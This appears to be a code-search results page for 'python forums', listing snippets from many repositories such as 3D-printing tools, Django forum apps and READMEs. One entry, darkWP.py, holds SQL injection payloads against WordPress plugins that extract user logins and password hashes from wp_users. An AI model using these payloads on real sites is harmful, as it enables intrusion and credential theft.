100+ results results for 'python forums' (43 ms)
59 60 def forums 61 fetch_resource("forums.json") 64 def entries forum_id 65 fetch_paginated_resources("forums/#{forum_id}/entries.json?page=%d") 66 end 131 132 # Python tools (must be in your PATH) 133 html2text.py: http://www.aaronsw.com/2002/html2text/ 194 log 'exporting categories' 195 client.forums.each do |forum| 196 log "exporting category #{forum['name']}"skeinforge_application.skeinforge_plugins.analyze_plugins.statistic.html https://github.com/craiglink/ReplicatorG.git | HTML | 185 lines
2<!doctype html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> 3<html><head><title>Python: module skeinforge_application.skeinforge_plugins.analyze_plugins.statistic</title> 4</head><body bgcolor="#f0f0f8"> 65A gode example is at:<br> 66<a href="http://forums.reprap.org/file.php?12,file=565">http://forums.reprap.org/file.php?12,file=565</a><br> 67 <br> 72 <br> 73> python statistic.py<br> 74This brings up the statistic dialog.<br> 75 <br> 76> python statistic.py Screw Holder_penultimate.gcode<br> 77The statistic file is saved as Screw_Holder_penultimate_statistic.txt</tt>views_add_edit.py http://diamanda.googlecode.com/svn/trunk/ | Python | 313 lines
1#!/usr/bin/python 2# Diamanda Application Set 39 if forum.use_prefixes: 40 p = Prefix.objects.filter(forums=forum) 41 if len(p) > 0:statistic.py https://github.com/sialan/autonomous-sprayer.git | Python | 297 lines
11To run statistic, in a shell in the folder which statistic is in type: 12> python statistic.py 13 20A gode example is at: 21http://forums.reprap.org/file.php?12,file=565 22 26 27> python 28Python 2.5.1 (r251:54863, Sep 22 2007, 01:43:31) 41from __future__ import absolute_import 42#Init has to be imported first because it has code to workaround the python bug where relative imports don't work if the module is imported as a main module. 43import __init__README.md https://gitlab.com/Smileyt/KomodoEdit | Markdown | 275 lines
36 37Forums: <http://forum.komodoide.com/> 38 56 57 * Python >=2.7 (but not Python 3.x yet). You can [install ActivePython from here](http://downloads.activestate.com/ActivePython/releases). 58 116 117 * Python >=2.7 (but not Python 3.x yet). You can 118 [install ActivePython from here](http://downloads.activestate.com/ActivePython/releases). 119 120 If you prefer the Python builds from python.org should be sufficient as well. 121 152 153 * Python >=2.7 (but not Python 3.x yet). You can 154 [install ActivePython from here](http://downloads.activestate.com/ActivePython/releases).paper.tex https://github.com/jordanell/School.git | LaTeX | 244 lines
42suggestions. This manual process is why I have created the website known as ``Forum-Miner'' which 43is a forum analytical tool for the Blizzard game forums to determine what players are talking about 44and how those conversations can be used to improve the game. Through the use of web crawling, 44and how those conversations can be used to improve the game. Through the use of web crawling, 45Python scripts, Ruby on Rails, the traditional web stack (HTML5, JavaScript, CSS), and PostgreSQL 46databases, I have created an easy to use website for deep forum analytics which provides visualization 68 69The goal of this paper is to show a way in which we can monitor online forums for Blizzard's video games 70in an automatic fashion and provide developers with the information that they need. To achieve this goal, 96research, I saw that Blizzard had no REST API available for programmers to use on their forums. This being 97the case, I resulted to writing a web crawler in Python. I used the Python library called ``BeautifulSoup'' in 98order to complete the web crawling. Once data was able to be pulled down, I stored the data in the PostgreSQL 153When a user searches for more information about a particular topic on the forum, FM presents them with related 154topics to their search terms. In order to accomplish this, I used the python library called ``Topia''. Topia 155uses Parts of Speech in order to categorize every word from every post as noun, adjective, verb, etc. Once thesesetup.py https://github.com/linuxnow/mongo-python-driver.git | Python | 207 lines
1#!/usr/bin/env python 2 73 print """ 74`setup.py doc` is not supported for this version of Python. 75 75 76Please ask in the user forums for help. 77""" 102install GCC and/or the Python development package for your 103version of Python. Python development package names for popular 104Linux distributions include: 105 106RHEL/CentOS: python-devel 107Debian/Ubuntu: python-dev 134 print self.warning_message % ("The %s extension module" % ext.name, 135 "Please use Python >= 2.4 to take " 136 "advantage of the extension.")darkWP.py https://bitbucket.org/flavio58-IT/attackvector-linux.git | Python | 94 lines
1#!/usr/bin/python 2# This was written for educational purpose and pentest only. Use it at your own risk. 31 "sf-forum?forum=-99999/**/UNION/**/SELECT/**/0,concat(0x7c,user_login,0x7c,user_pass,0x7c),0,0,0,0,0/**/FROM/**/wp_users/*", 32 "forums?forum=1&topic=-99999/**/UNION/**/SELECT/**/concat(0x7c,user_login,0x7c,user_pass,0x7c)/**/FROM/**/wp_users/*", 33 "index?page_id=2&album=S@BUN&photo=-333333%2F%2A%2A%2Funion%2F%2A%2A%2Fselect/**/concat(0x7c,user_login,0x7c,user_pass,0x7c)/**/from%2F%2A%2A%2Fwp_users/**WHERE%20admin%201=%201", 68if len(sys.argv) != 2: 69 print "[+] Usage: python darkWP.py [target]" 70 print "[+] Thanks for using script, please visit http://b4ltazar.us"extrude.py https://github.com/josefprusa/ReplicatorG-Erik5D.git | Python | 390 lines
5 6To run extrude, install python 2.x on your machine, which is avaliable from http://www.python.org/download/ 7 7 8Then in the folder which extrude is in, type 'python' in a shell to run the python interpreter. Finally type 'import extrude' to import 9this program. Extrude requires pySerial installed for this module to work. If you are using Fedora it is available on yum 157from __future__ import absolute_import 158#Init has to be imported first because it has code to workaround the python bug where relative imports don't work if the module is imported as a main module. 159import __init__ 176__author__ = 'Enrique Perez (perez_enrique@yahoo.com)' 177__credits__ = 'greenarrow <http://forums.reprap.org/profile.php?12,81>' 178__date__ = '$Date: 2008/21/04 $'vector3.py https://github.com/clothbot/DotSkeinforge.git | Python | 489 lines
30 pass 31#Init has to be imported first because it has code to workaround the python bug where relative imports don't work if the module is imported as a main module. 32import __init__ 38__author__ = "Enrique Perez (perez_enrique@yahoo.com)" 39__credits__ = 'Nophead <http://forums.reprap.org/profile.php?12,28>\nArt of Illusion <http://www.artofillusion.org/>' 40__date__ = "$Date: 2008/21/04 $"skeinforge_application.skeinforge_plugins.analyze_plugins.statistic.html https://github.com/jmil/SFACT.git | HTML | 185 lines
2<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> 3<html><head><title>Python: module skeinforge_application.skeinforge_plugins.analyze_plugins.statistic</title> 4</head><body bgcolor="#f0f0f8"> 65A gode example is at:<br> 66<a href="http://forums.reprap.org/file.php?12,file=565">http://forums.reprap.org/file.php?12,file=565</a><br> 67 <br> 72 <br> 73> python statistic.py<br> 74This brings up the statistic dialog.<br> 75 <br> 76> python statistic.py Screw Holder_penultimate.gcode<br> 77The statistic file is saved as Screw_Holder_penultimate_statistic.txt</tt>vector3.py https://github.com/lImbus/ReplicatorG.git | Python | 528 lines
30 pass 31#Init has to be imported first because it has code to workaround the python bug where relative imports don't work if the module is imported as a main module. 32import __init__ 39__author__ = 'Enrique Perez (perez_enrique@yahoo.com)' 40__credits__ = 'Nophead <http://forums.reprap.org/profile.php?12,28>\nArt of Illusion <http://www.artofillusion.org/>' 41__date__ = '$Date: 2008/21/04 $'Decorators.php https://github.com/shafiqissani/ASTRA-College-Website.git | PHP | 363 lines
16// +----------------------------------------------------------------------+ 17// | Authors: Alexander Zhukov <alex@veresk.ru> Original port from Python | 18// | Authors: Harry Fuecks <hfuecks@phppatterns.com> Port to PEAR + more | 18// | Authors: Harry Fuecks <hfuecks@phppatterns.com> Port to PEAR + more | 19// | Authors: Many @ Sitepointforums Advanced PHP Forums | 20// +----------------------------------------------------------------------+chamber.py https://github.com/jmil/SFACT.git | Python | 241 lines
88A resistor heated aluminum plate by Pumpernickel2: 89http://dev.forums.reprap.org/profile.php?14,844 90 91with a picture at: 92http://dev.forums.reprap.org/file.php?14,file=1228,filename=heatedplate.jpg 93 105 106> python chamber.py 107This brings up the chamber dialog. 108 109> python chamber.py Screw Holder Bottom.stl 110The chamber tool is parsing the file: 119from __future__ import absolute_import 120#Init has to be imported first because it has code to workaround the python bug where relative imports don't work if the module is imported as a main module. 121import __init__chamber.py https://github.com/sialan/autonomous-sprayer.git | Python | 257 lines
88A resistor heated aluminum plate by Pumpernickel2: 89http://dev.forums.reprap.org/profile.php?14,844 90 91with a picture at: 92http://dev.forums.reprap.org/file.php?14,file=1228,filename=heatedplate.jpg 93 106 107> python chamber.py 108This brings up the chamber dialog. 110 111> python chamber.py Screw Holder Bottom.stl 112The chamber tool is parsing the file: 118 119> python 120Python 2.5.1 (r251:54863, Sep 22 2007, 01:43:31)index.html https://github.com/taylanpince/taylanpince.git | HTML | 126 lines
38 <ul> 39 <li>6 years of web development experience with <strong>Python</strong>, PHP, MySQL, <strong>PostgreSQL</strong>, <strong>CSS</strong>, <strong>XHTML</strong>, <strong>JavaScript</strong> and ActionScript</li> 40 <li>An excellent understanding of interface development techniques, browser quirks, <strong>semantic and accessible HTML</strong></li> 50 <ul> 51 <li><a href="http://www.powerwise.ca">powerWISE</a>: Community based site for sharing energy conservation tips and tricks. <strong>Built with Python on Django and PostgreSQL. Also responsible for interface and Flash development.</strong></li> 52 <li><a href="http://www.bonefishgrill.com">Bonefish Grill</a>: Web site for the restaurant franchise. <strong>Built with Python on Django and MySQL, also contributed to the interface development process.</strong></li> 53 <li><a href="http://www.rachaelrayshow.com">Rachael Ray Show</a>: Web site for the popular TV show, with community features. <strong>Interface and Flash development, also contibuted to the backend work, using Python.</strong></li> 54 <li><a href="http://www.reebokhockey.com">Reebok Hockey</a>: Site with an extensive product catalogue, blogs, forums, etc. <strong>Built with Python on Django and MySQL. Also responsible for interface development (Flash development & design done by RBK team).</strong></li> 55 <li><a href="http://www.canadiantire.ca/powerxchange/">Canadian Tire PowerXchange</a>: Flash microsite for a new brand of power tools. <strong>ActionScript development and data/design integration.</strong></li> 103 <h4>Powered By</h4> 104 <p>This site was built with <a href="http://python.org">Python</a> using <a href="http://djangoproject.com">Django</a> and <a href="http://jquery.com">jQuery</a> - on a <a href="http://www.apple.com">Mac</a>, of course.</p> 105 </li>utils.py https://github.com/driax/pyramid_debugtoolbar.git | Python | 144 lines
87 """Similar to string.replace() but is case insensitive 88 Code borrowed from: http://forums.devshed.com/python-programming-11/case-insensitive-string-replace-490921.html 89 """middleware.py https://bitbucket.org/code4ghana/liquorfox.git | Python | 137 lines
21 Similar to string.replace() but is case insensitive 22 Code borrowed from: http://forums.devshed.com/python-programming-11/case-insensitive-string-replace-490921.html 23 """README.md https://gitlab.com/1851616111/toropress | Markdown | 143 lines
2 3Highlight.js highlights syntax in code examples on blogs, forums and, 4in fact, on any web page. It's very easy to use because it works 44 45 python tools/build.py -tnode lang1 lang2 .. 462013-09-06-fanatical-support-from-the-rackspace-community.markdown https://gitlab.com/Blueprint-Marketing/developer.rackspace.com | Markdown | 27 lines
12 13As a Fanatical Support Manager, this presented some new and fun challenges to prepare our Support Rackers to provide a level of service that we could be proud to call Fanatical. We designed a training and assessment program for our Rackers to gain the skills and certification needed to properly support our customers. In addition to ensuring our front line support had everything they needed to give advice on using our SDK's, we also had to investigate new ways to provide that support. Support tickets, chat sessions, and phone support are always available to our customers for all of their Rackspace needs, but the most exciting and successful medium has been our [Community Developer Forums](https://community.rackspace.com/developers/default).<!-- more --> 14 16 17The Community is an ideal tool to support custom code that uses our SDKs. Having the ability to post code snippets (or links to a gist of code) and error messages is invaluable when it comes to code support. We have many examples of developers using the Community to get advice and help on PHP, Python, Ruby, .NET, Java, and Chef. We've even started to do AMA's (Ask me anything) with some of our SDK developers that you can check out [here](http://developer.rackspace.com/blog/got-python-questions.html), and [here](https://community.rackspace.com/developers/f/7/t/890) is an example of the type of DevOps support we can provide our customers. 18 22 23>"In 2003, a friend and I built a SaaS HR website to ease the process of employee reviews for major corporations. We chose Rackspace managed hosting for our provider. One night, I was notified via email by Rackspace that the server went down, that Rackspace fixed the problem, and that Rackspace would monitor the server for the next couple hours to make sure everything was ok. That was at 4am on a weekday. Fast forward to 2013 and my host of choice is still Rackspace. The developer forums are full of people like Evan who go out of their way to help you at all hours of the night, with messages that end in "sent from my iPhone" at 10pm EDT and out of the box thinking with ideas such as Geo-Redundancy for failing over CDN containers. Fanatical support is when people care about your problems and go out of their way to help you, and that's exactly what I get from Rackspace. I've come to expect nothing less." 24 26 27My name on the forums is [FanaticalEvan](https://community.rackspace.com/members/evan.ochs/default), I hope to see you there! 28big-compute-resources.md https://gitlab.com/yeah568/azure-content | Markdown | 159 lines
36 37* [.NET](https://msdn.microsoft.com/library/azure/mt348682.aspx), [Python](http://azure-sdk-for-python.readthedocs.io/latest/), [Node.js](http://azure.github.io/azure-sdk-for-node/azure-batch/latest/), [Java](http://azure.github.io/azure-sdk-for-java/), and [REST](https://msdn.microsoft.com/library/azure/dn820158.aspx) API reference 38 40 41* Tutorials: Get started with [Azure Batch library for .NET](batch-dotnet-get-started.md) and [Batch Python client](batch-python-tutorial.md) 42 42 43* [Batch forum](https://social.msdn.microsoft.com/Forums/en-US/home?forum=azurebatch) 44 66 67* [Windows HPC forums](https://social.microsoft.com/Forums/home?category=windowshpc) 68 88 89* [MPI forum](https://social.microsoft.com/Forums/en-us/home?forum=windowshpcmpi) 90models.py https://github.com/RockHoward/django-forum.git | Python | 264 lines
112 verbose_name = _('Forum') 113 verbose_name_plural = _('Forums') 114 122 """ 123 Taken from a python newsgroup post 124 """ 138 """ 139 Gets a list of all of the children forums. 140 """pycompletionserver.py https://gitlab.com/ZoZworc/install | Python | 402 lines
9except ImportError: 10 import builtins as __builtin__ # Python 3.0 11 IS_PYTHON3K = 1 38if sys.platform == "darwin": 39 # See: https://sourceforge.net/projects/pydev/forums/forum/293649/topic/3454227 40 try: 64except: 65 import io as StringIO #Python 3.0 66 96MSG_IMPORTS = '@@IMPORTS:' 97MSG_PYTHONPATH = '@@PYTHONPATH_END@@' 98MSG_CHANGE_PYTHONPATH = '@@CHANGE_PYTHONPATH:' 122def change_python_path(pythonpath): 123 '''Changes the pythonpath (clears all the previous pythonpath) 124README.org https://github.com/kjordahl/Watts-Up--logger.git | Org | 72 lines
2 3This is a simple Python utility for logging data from a [[https://www.wattsupmeters.com/secure/products.php?pn=0&wai=384&more=4][Watts Up? Pro]] 4power meter. Documentation for the serial port interface for the 9version for Windows]] for $72.95. One example I found of reading from the Watts 10Up? Pro in Python was [[http://www.wattzon.com/forums/posts/80][this script]]. 11kolla_archlinux_notes.org https://gitlab.com/gojun077/junsTechNotes | Org | 254 lines
4 component. Setting up Kolla on Archlinux requires some tweaks 5 because the default 'python' binary is Python 3 instead of Python 6 2, the latter of which is required to run Ansible. 25 26 'pip' for python 2 must also be installed (python2-pip) 27 64 #+BEGIN_SRC shell 65 localhost ansible_python_interpreter=/usr/bin/python2 66 #+END_SRC 67 68 2. *Install graphviz dependency for python 2 graphviz module from pip2* 69 https://pypi.python.org/pypi/graphviz 75 76 I tried to find a native Arch package for python2 module graphviz 77 but only came up with the following:__init__.py https://bitbucket.org/creaktive/sitescraper.git | Python | 42 lines
1#!/usr/bin/python 2# -*- coding: utf-8 -*- 5 ('1.html', [ 6 ["Digital Cameras - Shopzilla.com", "Digital Camera Reviews and News: Digital Photography Review: Forums ...", "Digital cameras; compare digital camera reviews to find the best one ..."], 7 ["Bargain prices on Digital Cameras, store variety for Digital Cameras. Compare prices and buy online at Shopzilla.", "Vast samples galleries and the largest database of digital camera specifications. ... Digital cameras baffle Britons. Digital cameras are the gadget that ...", "Digital camera reviews and ratings, video reviews, user opinions, most popular digital cameras, camera buying guides, prices, and comparisons."],create_packagelist.py https://bitbucket.org/vinitkme/automatta.git | Python | 157 lines
1#!/usr/bin/env python 2# -*- coding: utf-8 -*- 10 idea from: 11 http://ubuntuforums.org/showthread.php?t=442974 12comment.py https://github.com/sialan/autonomous-sprayer.git | Python | 170 lines
18A gode example is at: 19http://forums.reprap.org/file.php?12,file=565 20 23 24> python comment.py 25This brings up the comment dialog. 26 27> python comment.py Screw Holder_penultimate.gcode 28The comment file is saved as Screw_Holder_penultimate_comment.gcode 32from __future__ import absolute_import 33#Init has to be imported first because it has code to workaround the python bug where relative imports don't work if the module is imported as a main module. 34import __init__starter_project_list.md https://gitlab.com/asmjahid/pinax | Markdown | 85 lines
27In addition to what is provided by the "account" project, this project 28integrates with `python-social-auth` for Twitter, Facebook, and Google 29authentication. 80* pinax-project-lms 81* pinax-project-forums 82* pinax-project-teamsheapsize.h https://github.com/leaflabs/projects.git | C Header | 33 lines
3# 4# This file is part of the Python-on-a-Chip program. 5# Python-on-a-Chip is free software: you can redistribute it and/or modify 7# 8# Python-on-a-Chip is distributed in the hope that it will be useful, 9# but WITHOUT ANY WARRANTY; without even the implied warranty of 19// v. 3.25 of the compiler reserves a 1K buffer for printf. And another 1K buffer somewhere, 20// it seems, perhaps for snprintf? Horrible. See http://www.microchip.com/forums/m538918.aspx 21// for some details. The next version is supposed to reduce this buffer size.faq.php https://github.com/jnwhiteh/aichallenge.git | PHP | 69 lines
5<p><strong>Answer:</strong> We welcome your post on the 6 <a href="http://ai-contest.com/forums">forums</a>!</p> 7<p><strong>Question:</strong> What is the relationship between Google and the 21 tutorials section</a>, where you will find a couple strategy guides, as well 22 as the <a href="/forums/">forums</a>.</p> 23<p><strong>Question:</strong> Do we have to submit PlanetWars.java/ 34 to see the exact commands that the auto-compile script uses to compile your 35 code. Post to the forums if you need any help, and we'll be glad to address 36 your specific case.</p> 53 language. What shall I do?</p> 54<p><strong>Answer:</strong> You don't know C++, Java, or Python? Okay 55 fine. Tell the forums what starter package you want to see, and we willskeinforge_tools.analyze.html https://github.com/nmsl1993/ReplicatorG.git | HTML | 85 lines
2<!doctype html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> 3<html><head><title>Python: module skeinforge_tools.analyze</title> 4</head><body bgcolor="#f0f0f8"> 17A gode example is at:<br> 18<a href="http://forums.reprap.org/file.php?12,file=565">http://forums.reprap.org/file.php?12,file=565</a></tt></p> 19<p>Makefile.in https://github.com/Akin-Net/mozilla-central.git | Autoconf | 248 lines
86 cp -R "$(WIN32_CRT_SRC_DIR)" $(CRT_OBJ_DIR) 87# per http://forums.microsoft.com/MSDN/ShowPost.aspx?PostID=1189363&SiteID=1 88 $(foreach i,dll mt xdll xmt,$(EXTRACT_CMD)) 99# this pretty much sucks, but nmake and make don't play well together 100 $(PYTHON) $(srcdir)/build-crt.py $(CRT_OBJ_DIR) 101# XXX: these don't link right for some reason; the problem is likely 229crtdll_fixed.obj:: crtdll.obj 230 $(PYTHON) $(srcdir)/fixcrt.py 231README.md https://gitlab.com/jeenjacob/weTwee | Markdown | 279 lines
28 29Bug reports in JIRA for all driver projects (i.e. NODE, PYTHON, CSHARP, JAVA) and the 30Core Server (i.e. SERVER) project are **public**. 33 34For issues with, questions about, or feedback for the Node.js driver, please look into our [support channels](https://docs.mongodb.com/manual/support). Please do not email any of the driver developers directly with issues or questions - you're more likely to get an answer on the [MongoDB Community Forums](https://community.mongodb.com/tags/c/drivers-odms-connectors/7/node-js-driver). 35index.html https://github.com/isa/isa.github.com.git | HTML | 67 lines
37 <p class="brief">Today I was browsing couple Django extensions to check if there is any new useful stuff around. 38 I saw couple questions in those WiKis/forums about site-packages folder under OSX. </p> 39 <p>For those who don't know which <u>site-packages</u> folder is active in your system, you must consider how your system is configured. Especially if 43 it by typing: </p> 44 <pre class="idle">python -c \ 45 <span class="String"><span class="String">"</span>from distutils.sysconfig import get_python_lib; <span class="UserDefinedConstant">\</span></span> 45 <span class="String"><span class="String">"</span>from distutils.sysconfig import get_python_lib; <span class="UserDefinedConstant">\</span></span> 46<span class="String"> print get_python_lib()<span class="String">"</span></span> 47</pre> 49 further uses. </p> 50 <pre class="idle"><span class="Keyword">from</span> distutils.sysconfig <span class="Keyword">import</span> get_python_lib; 51<span class="Keyword">print</span> get_python_lib()README.rst https://github.com/BenAtWide/django-smileys.git | ReStructuredText | 100 lines
7 8This application can make your blog, forums, photo galleries, user comments, 9etc a little more interesting, and it's very simple to install. Free icon sets 37You can download the package from the `CheeseShop 38<http://pypi.python.org/pypi/django-smileys/>`_ or use one of the following 39commands::analyze.py https://github.com/nmsl1993/ReplicatorG.git | Python | 87 lines
7A gode example is at: 8http://forums.reprap.org/file.php?12,file=565 9 12from __future__ import absolute_import 13#Init has to be imported first because it has code to workaround the python bug where relative imports don't work if the module is imported as a main module. 14import __init__NoIronPython.html https://gitlab.com/SplatoonModdingHub/PTVS | HTML | 58 lines
2<!-- 3Python Tools for Visual Studio 4Copyright(c) Microsoft Corporation 22 <meta charset="utf-8" /> 23 <title>Python Tools for Visual Studio</title> 24 <link rel="stylesheet" href="../PythonTools/ReadmeStyle.css" type="text/css" /> 27<body> 28 <h1 class="top">We didn't find IronPython</h1> 29 <p> 29 <p> 30 This project is configured to run with IronPython, which is 31 an implementation of Python on the .NET Framework. 53 This link will take you to our homepage, where you can find more 54 documentation, discussion forums, and updates for Python Tools 55 for Visual Studio.DeviceMatrixWrapper.cpp https://github.com/mertdikmen/ViVid.git | C++ | 439 lines
9#include <cuda_runtime.h> 10using namespace boost::python; 11 24 25DeviceMatrix::Ptr makeDeviceMatrix(boost::python::object& array) 26{ 41 42boost::python::object DeviceMatrix_copyFromDevicePy(const DeviceMatrix& self) 43{ 75 76DeviceMatrixCL::Ptr makeDeviceMatrixCL(boost::python::object& array) 77{ 91 92boost::python::object DeviceMatrixCL_copyFromDevicePy(const DeviceMatrixCL& self) 93{gyrotest.py https://gitlab.com/MikeDabrowski/PiRobot | Python | 40 lines
1#!/usr/bin/env python 2# BRICKPI LEGO EV3 GYRO SENSOR EXAMPLE. 24# You can learn more about BrickPi here: http://www.dexterindustries.com/BrickPi 25# Have a question about this example? Ask on the forums here: http://forum.dexterindustries.com/c/brickpi 26acceptance.py https://gitlab.com/unofficial-mirrors/edx-platform | Python | 151 lines
100 101# Forums are disabled in test.py to speed up unit tests, but we do not have 102# per-test control for lettuce acceptance tests. 108# HACK 109# Setting this flag to false causes imports to not load correctly in the lettuce python files 110# We do not yet understand why this occurs. Setting this to true is a stopgap measureskeinforge_tools.analyze_plugins.statistic.html https://github.com/TeamTeamUSA/SkeinFox.git | HTML | 143 lines
2<!doctype html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> 3<html><head><title>Python: module skeinforge_tools.analyze_plugins.statistic</title> 4</head><body bgcolor="#f0f0f8"> 18To run statistic, in a shell in the folder which statistic is in type:<br> 19> python statistic.py<br> 20 <br> 27A gode example is at:<br> 28<a href="http://forums.reprap.org/file.php?12,file=565">http://forums.reprap.org/file.php?12,file=565</a><br> 29 <br> 32 <br> 33> python<br> 34Python 2.5.1 (r251:54863, Sep 22 2007, 01:43:31)<br>train_predict_keras3.py https://gitlab.com/tianzhou2011/talkingdata | Python | 157 lines
1#!/usr/bin/env python 2from __future__ import absolute_import, division, print_function 27def batch_generator(X, y, batch_size, shuffle): 28 #chenglong code for fiting from generator (https://www.kaggle.com/c/talkingdata-mobile-user-demographics/forums/t/22567/neural-network-for-sparse-matrices) 29 number_of_batches = np.ceil(X.shape[0]/batch_size)tests.rst https://gitlab.com/jslee1/kitsune | ReStructuredText | 257 lines
6 7Kitsune has a fairly comprehensive Python test suite. Changes should 8not break tests---only change a test if there is a good reason to 53 54 ./manage.py test kitsune/wiki kitsune/search kitsune/kbforums 55 109 modelmakers defined in the tests module of the Django app. For 110 example, ``forums.tests.document`` is the modelmaker for 111 ``forums.Models.Document`` class.cedar-rapids-online.html https://github.com/tjr/tjr.github.com.git | HTML | 231 lines
32Cedar Rapids, Iowa. I originally built it using Python and PostgreSQL, running directly 33on top of the <a href="http://www.modpython.org/">mod_python</a> Apache module. Unfortunately, 34either there was very little interest on the web for a Cedar Rapids online learning community, 61<li>Article documents, with optional user comments.</li> 62<li>Discussion forums, as user-generated content.</li> 63<li>Event calendar, as user-generated content.</li> 78<li>The data is stored in a half-dozen PostgreSQL tables.</li> 79<li>The web pages are generated using Python scripts built with the CherryPy web library 80and the PyGreSQL database library. No HTML templating language is used, as most of the 81HTML content is generated from data in the database, and I have no problem writing 82relatively small amounts of HTML directly in Python.</li> 83</ul>install_dependencies.sh https://github.com/jehc/openFrameworks.git | Shell | 28 lines
2 3yum install freeglut-devel alsa-lib-devel libXmu-devel libXxf86vm-devel gcc-c++ libraw1394-devel gstreamer-devel gstreamer-plugins-base-devel libudev-devel libtheora-devel libvorbis-devel openal-soft-devel libsndfile-devel python-lxml gstreamer-devel glew-devel flac-devel freeimage-devel cairo-devel jack-audio-connection-kit-devel 4 17 echo "there has been a problem compiling Debug OF library" 18 echo "please report this problem in the forums" 19 exit 24 echo "there has been a problem compiling Release OF library" 25 echo "please report this problem in the forums" 26fiinstall_dependencies.sh https://github.com/repos-c-cpp/openFrameworks.git | Shell | 26 lines
1apt-get update 2apt-get install libgstreamer0.10-dev libgstreamer-plugins-base0.10-dev libavcodec-dev libavformat-dev libavutil-dev libswscale-dev freeglut3-dev libasound2-dev libxmu-dev libxxf86vm-dev g++ libgl1-mesa-dev libglu1-mesa-dev libraw1394-dev libudev-dev libdrm-dev gstreamer0.10-ffmpeg libglew1.5-dev libopenal-dev libsndfile-dev libfreeimage-dev libcairo2-dev libgtk2.0-dev libjack-dev python-lxml python-argparse 3ARCH=$(uname -m) 15 echo "there has been a problem compiling Debug OF library" 16 echo "please report this problem in the forums" 17 exit 22 echo "there has been a problem compiling Release OF library" 23 echo "please report this problem in the forums" 24fimodels.py https://github.com/alexliyu/mobilesystem.git | Python | 269 lines
1#!/usr/bin/env python 2# -*- coding: UTF-8 -*- 49 verbose_name = _("Forum") 50 verbose_name_plural = _("Forums") 51 ordering = ('ordering', '-created_on')description.py https://github.com/nuxleus/cherokee-webserver-distribution.git | Python | 53 lines
1# -*- Mode: python; Coding: utf-8 -*- 2 33 'author': 'Vanilla', 34 'URL': 'http://vanillaforums.org', 35 'icon_small': 'vanilla_x96.png',functions-run-local.md https://gitlab.com/yeah568/azure-content | Markdown | 223 lines
28 29>[AZURE.NOTE] Azure Functions is currently in preview, and the overall experience including tooling is still under rapid development. The procedures outlined in this article do not reflect the final local development experience, and we’d love for you to [provide your feedback](https://feedback.azure.com/forums/355860-azure-functions). 30 56 * BASH 57 * Python 58 * PHPskeinforge_application.skeinforge_plugins.analyze.html https://github.com/sialan/autonomous-sprayer.git | HTML | 80 lines
2<!doctype html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> 3<html><head><title>Python: module skeinforge_application.skeinforge_plugins.analyze</title> 4</head><body bgcolor="#f0f0f8"> 32A gode example is at:<br> 33<a href="http://forums.reprap.org/file.php?12,file=565">http://forums.reprap.org/file.php?12,file=565</a></tt> 34<br />skeinforge_application.skeinforge_plugins.analyze_plugins.comment.html https://github.com/hmeyer/ReplicatorG.git | HTML | 168 lines
2<!doctype html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> 3<html><head><title>Python: module skeinforge_application.skeinforge_plugins.analyze_plugins.comment</title> 4</head><body bgcolor="#f0f0f8"> 41A gode example is at:<br> 42<a href="http://forums.reprap.org/file.php?12,file=565">http://forums.reprap.org/file.php?12,file=565</a><br> 43 <br> 49 <br> 50> python comment.py<br> 51This brings up the comment dialog.<br> 53 <br> 54> python comment.py Screw Holder_penultimate.gcode<br> 55The comment file is saved as Screw_Holder_penultimate_comment.gcode<br> 57 <br> 58> python<br> 59Python 2.5.1 (r251:54863, Sep 22 2007, 01:43:31)<br>models.py http://ddtcms.googlecode.com/svn/trunk/ | Python | 403 lines
115 verbose_name = _('Forum') 116 verbose_name_plural = _('Forums') 117 125 """ 126 Taken from a python newsgroup post 127 """ 141 """ 142 Gets a list of all of the children forums. 143 """ 149 """ 150 Gets a list of the children forums. 151 """index.html https://github.com/ballpen66/selenium-grid.git | HTML | 99 lines
48 <li><a href="give_feedback.html">We Need Your Feedback</a></li> 49 <li><a href="http://clearspace.openqa.org/community/selenium_grid/selenium_grid_users">User Forums</a></li> 50 <li><a href="http://ph7spot.com/about/contact_me">Contact Us</a></li> 91 Of course, you get to choose which language you develop your tests 92 in: Ruby, Java, Python, C#, PHP, ... 93 </p><p>README.rst https://github.com/turnkeylinux/confconsole.git | ReStructuredText | 134 lines
110 111If you have problems or questions, please post on our `support forums`_ 112(requires free website user account). 117The plugins system allows support for additional functionality via simply 118dropping a(n appropriately coded) python3 plugin file within the Confconsole 119file hierarchy. We aim to include more new functionality via this in coming 133.. _TurnKey Linux Appliances: https://www.turnkeylinux.org/all 134.. _support forums: https://www.turnkeylinux.org/forum/support 135__init__.py https://github.com/astory/RankPanda.git | Python | 246 lines
32- Use native floating frames to obtain a native look and feel for all platforms; 33- Use existing wxPython code where possible, such as sizer implementation for frame management; 34- Use standard wxPython coding conventions. 103 104The wxPython AUI version fixes the following bugs or implement the following 105missing features (the list is not exhaustive): 106 107- Visual Studio 2005 style docking: http://www.kirix.com/forums/viewtopic.php?f=16&t=596 108- Dock and Pane Resizing: http://www.kirix.com/forums/viewtopic.php?f=16&t=582 108- Dock and Pane Resizing: http://www.kirix.com/forums/viewtopic.php?f=16&t=582 109- Patch concerning dock resizing: http://www.kirix.com/forums/viewtopic.php?f=16&t=610 110- Patch to effect wxAuiToolBar orientation switch: http://www.kirix.com/forums/viewtopic.php?f=16&t=641 110- Patch to effect wxAuiToolBar orientation switch: http://www.kirix.com/forums/viewtopic.php?f=16&t=641 111- AUI: Core dump when loading a perspective in wxGTK (MSW OK): http://www.kirix.com/forums/viewtopic.php?f=15&t=627 112- wxAuiNotebook reordered AdvanceSelection(): http://www.kirix.com/forums/viewtopic.php?f=16&t=617refine_search_page.py https://github.com/AlinT/sumo-tests.git | Python | 65 lines
1#!/usr/bin/env python 2# This Source Code Form is subject to the terms of the Mozilla Public 25 _support_questions_tab = (By.CSS_SELECTOR, 'div#search-tabs > ul > li:nth-child(2) > a') 26 _forums_tab = (By.CSS_SELECTOR, 'div#search-tabs > ul > li:nth-child(3) > a') 27 _asked_by_box = (By.ID, 'id_asked_by') 56 57 def do_search_on_discussion_forums(self, search_query, search_page_obj): 58 self.selenium.find_element(*self._forums_tab).click()softlayer.py https://gitlab.com/0072016/Facebook-SDK-json- | Python | 163 lines
